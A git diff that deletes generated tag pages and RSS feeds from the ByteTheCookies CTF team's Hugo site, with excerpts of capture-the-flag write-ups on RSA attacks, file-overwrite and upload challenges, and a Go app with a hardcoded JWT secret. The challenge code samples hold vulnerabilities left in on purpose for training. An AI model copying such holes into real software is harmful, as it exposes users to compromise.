- - - diff --git a/public/tags/491-points/index.xml b/public/tags/491-points/index.xml deleted file mode 100644 index 69fa6db9..00000000 --- a/public/tags/491-points/index.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - 491 Points on ByteTheCookies - http://localhost:1313/tags/491-points/ - Recent content in 491 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:49:47 +0200 - - Rivest, Shamir, Adleman 2 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) - - - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - \ No newline at end of file diff --git a/public/tags/491-points/page/1/index.html b/public/tags/491-points/page/1/index.html deleted file mode 100644 index ceb6773d..00000000 --- a/public/tags/491-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/491-points/ - - - - - - diff --git a/public/tags/496-points/index.html b/public/tags/496-points/index.html deleted file mode 100644 index ff18eeb0..00000000 --- a/public/tags/496-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 496 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

496 Points

- - - -
- - -
-

2025

- -
    - -
  • - ECRSA - - - 06/23 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/496-points/index.xml b/public/tags/496-points/index.xml deleted file mode 100644 index 94e05188..00000000 --- a/public/tags/496-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 496 Points on ByteTheCookies - http://localhost:1313/tags/496-points/ - Recent content in 496 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Jun 2025 18:30:32 +0200 - - ECRSA - http://localhost:1313/writeups/cornctf2025/ecrsa/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig. - - - - \ No newline at end of file diff --git a/public/tags/496-points/page/1/index.html b/public/tags/496-points/page/1/index.html deleted file mode 100644 index 37eda336..00000000 --- a/public/tags/496-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/496-points/ - - - - - - diff --git a/public/tags/498-points/index.html b/public/tags/498-points/index.html deleted file mode 100644 index bc1b9084..00000000 --- a/public/tags/498-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 498 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

498 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/498-points/index.xml b/public/tags/498-points/index.xml deleted file mode 100644 index 1528add7..00000000 --- a/public/tags/498-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 498 Points on ByteTheCookies - http://localhost:1313/tags/498-points/ - Recent content in 498 Points on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 06 Aug 2024 11:27:07 +0200 - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - \ No newline at end of file diff --git a/public/tags/498-points/page/1/index.html b/public/tags/498-points/page/1/index.html deleted file mode 100644 index c70a922f..00000000 --- a/public/tags/498-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/498-points/ - - - - - - diff --git a/public/tags/499-points/index.html b/public/tags/499-points/index.html deleted file mode 100644 index 98f7497b..00000000 --- a/public/tags/499-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 499 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

499 Points

- - - -
- - -
-

0001

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/499-points/index.xml b/public/tags/499-points/index.xml deleted file mode 100644 index 3897cfe6..00000000 --- a/public/tags/499-points/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 499 Points on ByteTheCookies - http://localhost:1313/tags/499-points/ - Recent content in 499 Points on ByteTheCookies - Hugo -- gohugo.io - en - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/499-points/page/1/index.html b/public/tags/499-points/page/1/index.html deleted file mode 100644 index a16cf34f..00000000 --- a/public/tags/499-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/499-points/ - - - - - - diff --git a/public/tags/4run/index.html b/public/tags/4run/index.html deleted file mode 100644 index 4ef0e9e2..00000000 --- a/public/tags/4run/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 4rUN - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

4rUN

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/4run/index.xml b/public/tags/4run/index.xml deleted file mode 100644 index ae0392b2..00000000 --- a/public/tags/4run/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 4rUN on ByteTheCookies - http://localhost:1313/tags/4run/ - Recent content in 4rUN on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:24:02 +0200 - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - \ No newline at end of file diff --git a/public/tags/4run/page/1/index.html b/public/tags/4run/page/1/index.html deleted file mode 100644 index 08fa5eed..00000000 --- a/public/tags/4run/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/4run/ - - - - - - diff --git a/public/tags/50-points/index.html b/public/tags/50-points/index.html deleted file mode 100644 index 0bad8caa..00000000 --- a/public/tags/50-points/index.html +++ /dev/null @@ -1,309 +0,0 @@ - - - - - - - - - - - 50 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

50 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/50-points/index.xml b/public/tags/50-points/index.xml deleted file mode 100644 index 186c9c2e..00000000 --- a/public/tags/50-points/index.xml +++ /dev/null @@ -1,71 +0,0 @@ - - - - 50 Points on ByteTheCookies - http://localhost:1313/tags/50-points/ - Recent content in 50 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:55:16 +0100 - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - \ No newline at end of file diff --git a/public/tags/50-points/page/1/index.html b/public/tags/50-points/page/1/index.html deleted file mode 100644 index f0e3bd9d..00000000 --- a/public/tags/50-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/50-points/ - - - - - - diff --git a/public/tags/52-solves/index.html b/public/tags/52-solves/index.html deleted file mode 100644 index a0872476..00000000 --- a/public/tags/52-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 52 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

52 Solves

- - - -
- - -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/52-solves/index.xml b/public/tags/52-solves/index.xml deleted file mode 100644 index 76584a44..00000000 --- a/public/tags/52-solves/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - 52 Solves on ByteTheCookies - http://localhost:1313/tags/52-solves/ - Recent content in 52 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:04 +0200 - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - \ No newline at end of file diff --git a/public/tags/52-solves/page/1/index.html b/public/tags/52-solves/page/1/index.html deleted file mode 100644 index 8ea97d92..00000000 --- a/public/tags/52-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/52-solves/ - - - - - - diff --git a/public/tags/53-solves/index.html b/public/tags/53-solves/index.html deleted file mode 100644 index 8870cc09..00000000 --- a/public/tags/53-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 53 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

53 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/53-solves/index.xml b/public/tags/53-solves/index.xml deleted file mode 100644 index 5c8acdce..00000000 --- a/public/tags/53-solves/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 53 Solves on ByteTheCookies - http://localhost:1313/tags/53-solves/ - Recent content in 53 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:50:14 +0200 - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - \ No newline at end of file diff --git a/public/tags/53-solves/page/1/index.html b/public/tags/53-solves/page/1/index.html deleted file mode 100644 index ad154f9d..00000000 --- a/public/tags/53-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/53-solves/ - - - - - - diff --git a/public/tags/62-solves/index.html b/public/tags/62-solves/index.html deleted file mode 100644 index edab9072..00000000 --- a/public/tags/62-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 62 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

62 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/62-solves/index.xml b/public/tags/62-solves/index.xml deleted file mode 100644 index 974c2580..00000000 --- a/public/tags/62-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 62 Solves on ByteTheCookies - http://localhost:1313/tags/62-solves/ - Recent content in 62 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:49:39 +0200 - - Rivest, Shamir, Adleman 1 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. - - - - \ No newline at end of file diff --git a/public/tags/62-solves/page/1/index.html b/public/tags/62-solves/page/1/index.html deleted file mode 100644 index 7f8f658a..00000000 --- a/public/tags/62-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/62-solves/ - - - - - - diff --git a/public/tags/78-solves/index.html b/public/tags/78-solves/index.html deleted file mode 100644 index e4f1f113..00000000 --- a/public/tags/78-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 78 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

78 Solves

- - - -
- - -
-

2024

- -
    - -
  • - WaaS - - - 08/06 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/78-solves/index.xml b/public/tags/78-solves/index.xml deleted file mode 100644 index b9e8533c..00000000 --- a/public/tags/78-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 78 Solves on ByteTheCookies - http://localhost:1313/tags/78-solves/ - Recent content in 78 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 06 Aug 2024 11:27:07 +0200 - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - \ No newline at end of file diff --git a/public/tags/78-solves/page/1/index.html b/public/tags/78-solves/page/1/index.html deleted file mode 100644 index 293679b3..00000000 --- a/public/tags/78-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/78-solves/ - - - - - - diff --git a/public/tags/79-solves/index.html b/public/tags/79-solves/index.html deleted file mode 100644 index 208d5cf8..00000000 --- a/public/tags/79-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 79 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

79 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/79-solves/index.xml b/public/tags/79-solves/index.xml deleted file mode 100644 index e17b6268..00000000 --- a/public/tags/79-solves/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - 79 Solves on ByteTheCookies - http://localhost:1313/tags/79-solves/ - Recent content in 79 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:55:16 +0100 - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/79-solves/page/1/index.html b/public/tags/79-solves/page/1/index.html deleted file mode 100644 index fd286f28..00000000 --- a/public/tags/79-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/79-solves/ - - - - - - diff --git a/public/tags/86-solves/index.html b/public/tags/86-solves/index.html deleted file mode 100644 index 05c2268d..00000000 --- a/public/tags/86-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 86 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

86 Solves

- - - -
- - -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/86-solves/index.xml b/public/tags/86-solves/index.xml deleted file mode 100644 index 8207db31..00000000 --- a/public/tags/86-solves/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - 86 Solves on ByteTheCookies - http://localhost:1313/tags/86-solves/ - Recent content in 86 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:04 +0200 - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - \ No newline at end of file diff --git a/public/tags/86-solves/page/1/index.html b/public/tags/86-solves/page/1/index.html deleted file mode 100644 index 1d6410cb..00000000 --- a/public/tags/86-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/86-solves/ - - - - - - diff --git a/public/tags/9-solves/index.html b/public/tags/9-solves/index.html deleted file mode 100644 index 0184e62e..00000000 --- a/public/tags/9-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 9 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

9 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/9-solves/index.xml b/public/tags/9-solves/index.xml deleted file mode 100644 index 10491bfe..00000000 --- a/public/tags/9-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 9 Solves on ByteTheCookies - http://localhost:1313/tags/9-solves/ - Recent content in 9 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sat, 21 Dec 2024 18:23:00 +0200 - - SmallAuth - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). - - - - \ No newline at end of file diff --git a/public/tags/9-solves/page/1/index.html b/public/tags/9-solves/page/1/index.html deleted file mode 100644 index d7256a37..00000000 --- a/public/tags/9-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/9-solves/ - - - - - - diff --git a/public/tags/95-solves/index.html b/public/tags/95-solves/index.html deleted file mode 100644 index 59406894..00000000 --- a/public/tags/95-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 95 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

95 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
